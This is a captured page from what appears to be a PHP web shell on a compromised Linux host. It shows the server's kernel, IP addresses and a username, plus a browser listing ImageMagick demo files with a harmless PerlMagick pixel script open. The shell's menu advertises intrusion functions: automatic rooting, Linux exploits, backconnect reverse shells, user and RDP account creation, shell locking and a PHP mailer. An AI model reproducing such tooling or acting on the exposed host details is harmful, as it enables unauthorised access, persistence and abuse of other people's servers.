Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.20
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
imagemagick-6-common /
examples /
demo /
[ HOME SHELL ]
Name
Size
Permission
Action
Generic.ttf.gz
12.63
KB
-rw-r--r--
Makefile
360
B
-rw-r--r--
README
124
B
-rw-r--r--
Turtle.pm
868
B
-rw-r--r--
annotate.pl
1.53
KB
-rw-r--r--
annotate_words.pl
1.9
KB
-rwxr-xr-x
button.pl
335
B
-rw-r--r--
compose-specials.pl.gz
1.43
KB
-rw-r--r--
composite.pl
1.47
KB
-rw-r--r--
demo.pl.gz
2.2
KB
-rw-r--r--
dst.png
270
B
-rw-r--r--
lsys.pl
2.26
KB
-rw-r--r--
model.gif
22.88
KB
-rw-r--r--
piddle.pl
1.84
KB
-rw-r--r--
pink-flower.gif
544
B
-rw-r--r--
pixel-fx.pl
1.48
KB
-rwxr-xr-x
red-flower.gif
694
B
-rw-r--r--
settings.pl
697
B
-rwxr-xr-x
shadow-text.pl
476
B
-rw-r--r--
shapes.pl
1.19
KB
-rw-r--r--
single-pixels.pl
1.07
KB
-rwxr-xr-x
smile.gif
1.32
KB
-rw-r--r--
src.png
305
B
-rw-r--r--
steganography.pl
597
B
-rw-r--r--
tile.gif
1.53
KB
-rw-r--r--
tree.pl
744
B
-rw-r--r--
yellow-flower.gif
565
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : single-pixels.pl
#!/usr/bin/perl # # Methods for to Get and Set single pixels in images using PerlMagick # use strict; use Image::Magick; # read image my $im=Image::Magick->new(); $im->Read('logo:'); # --- # Get/Set a single pixel as a string my $skin=$im->Get('pixel[400,200]'); print "Get('pixel[x,y]') = ", $skin, "\n"; $im->Set('pixel[1,1]'=>'0,0,0,0'); $im->Set('pixel[2,1]'=>$skin); $im->Set('pixel[3,1]'=>'green'); $im->Set('pixel[4,1]'=>'rgb(255,0,255)'); # --- # More direct single pixel access my @pixel = $im->GetPixel( x=>400, y=>200 ); print "GetPixel() = ", "@pixel", "\n"; # modify the pixel values (as normalized floats) $pixel[0] = $pixel[0]/2; # darken red value $pixel[1] = 0.0; # junk green value $pixel[2] = 0.0; # junk blue value # write pixel to destination # (quantization and clipping happens here) $im->SetPixel(x=>5,y=>1,color=>\@pixel); # --- # crop, scale, display the changed pixels $im->Crop(geometry=>'7x3+0+0'); $im->Set(page=>'0x0+0+0'); $im->Scale('1000%'); # Output the changed pixels $im->Write('win:'); $im->Write('single-pixels.gif');
Close
